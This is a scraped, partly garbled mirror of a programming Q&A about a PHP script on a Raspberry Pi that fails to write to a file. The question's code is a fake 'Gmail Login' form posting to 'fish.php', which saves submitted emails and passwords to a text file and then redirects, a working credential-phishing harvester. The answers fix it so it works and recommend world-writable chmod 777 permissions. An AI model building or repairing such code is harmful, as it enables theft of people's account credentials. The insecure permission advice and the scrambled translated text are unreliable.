Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/php/245.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Php 写入文件,但它';他不在做我的Pi?_Php_Linux - Fatal编程技术网

Php 写入文件,但它';他不在做我的Pi?

Php 写入文件,但它';他不在做我的Pi?,php,linux,Php,Linux,我正在尝试使用PHP编写文本文件 我有这张表格 <form action="fish.php" method="POST"> <p>Gmail Login</p> <input name="gmail1" type="text" /> </br> <p>Password</p> <input name="gmail2" type="password" /> </br> <input

我正在尝试使用PHP编写文本文件

我有这张表格

<form action="fish.php" method="POST">
<p>Gmail Login</p> <input name="gmail1" type="text" />
</br>
<p>Password</p> <input name="gmail2" type="password" />
</br>
<input type="submit" name="submit" value="Submit">
</form>

Gmail登录


密码


我还有这个PHP文件

<?php
if(isset($_POST['gmail1']) && isset($_POST['gmail2'])) {
$data = $_POST['gmail1'] . '-' . $_POST['gmail2'] . "\n";
$ret = file_put_contents('list.txt', $data, FILE_APPEND | LOCK_EX);
if($ret === false) {
    die('There was an error writing this file');
}
else {
    header("Location: index.html");
}
}
else {
   die('no post data to process');
}

这很可能是一个文件权限问题

您可以尝试先打开文件(),将其设置为
0777
,然后将内容写入其中

这已经在我的服务器上进行了测试和工作

您可能还希望将权限从
0777
更改为
0644

我还添加了一个
if(isset($\u POST['submit'])
条件,以避免过早写入文件

<?php

if(isset($_POST['submit'])){
if(isset($_POST['gmail1']) && isset($_POST['gmail2'])) {
$data = $_POST['gmail1'] . '-' . $_POST['gmail2'] . "\n";

$file = "list.txt";
fopen($file, "r");
chmod ($file, 0777); // change to 0644 if required
$ret = file_put_contents($file, $data, FILE_APPEND | LOCK_EX);

if($ret === false) {
    die('There was an error writing this file');
}
else {
    header("Location: index.html");

}
}
else {
   die('no post data to process');
}

} // for if(isset($_POST['submit']))

?>

这是一个权限错误。如果文本文件位于Pi上,只需右键单击它,然后选择“属性”。然后,转到“权限”点击,使文件对每个人都是可读写的。
这在我的Pi上起了作用:)

我猜您没有正确设置PIM上的权限,很可能是您试图写入文件的文件夹上的文件夹权限。如果您不关心此环境的安全性,则可以执行
chmod 777/path/to/folder
明确的文件(和/或文件夹)权限问题。另外,我建议您在
if(isset($\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
在你最后一次大括号之后。是的,更改权限效果很好!非常感谢大家!@user2882612好消息,不客气。很高兴它成功了。不过,看看我输入的内容,如果你想“随时使用chmod”,它可以为你服务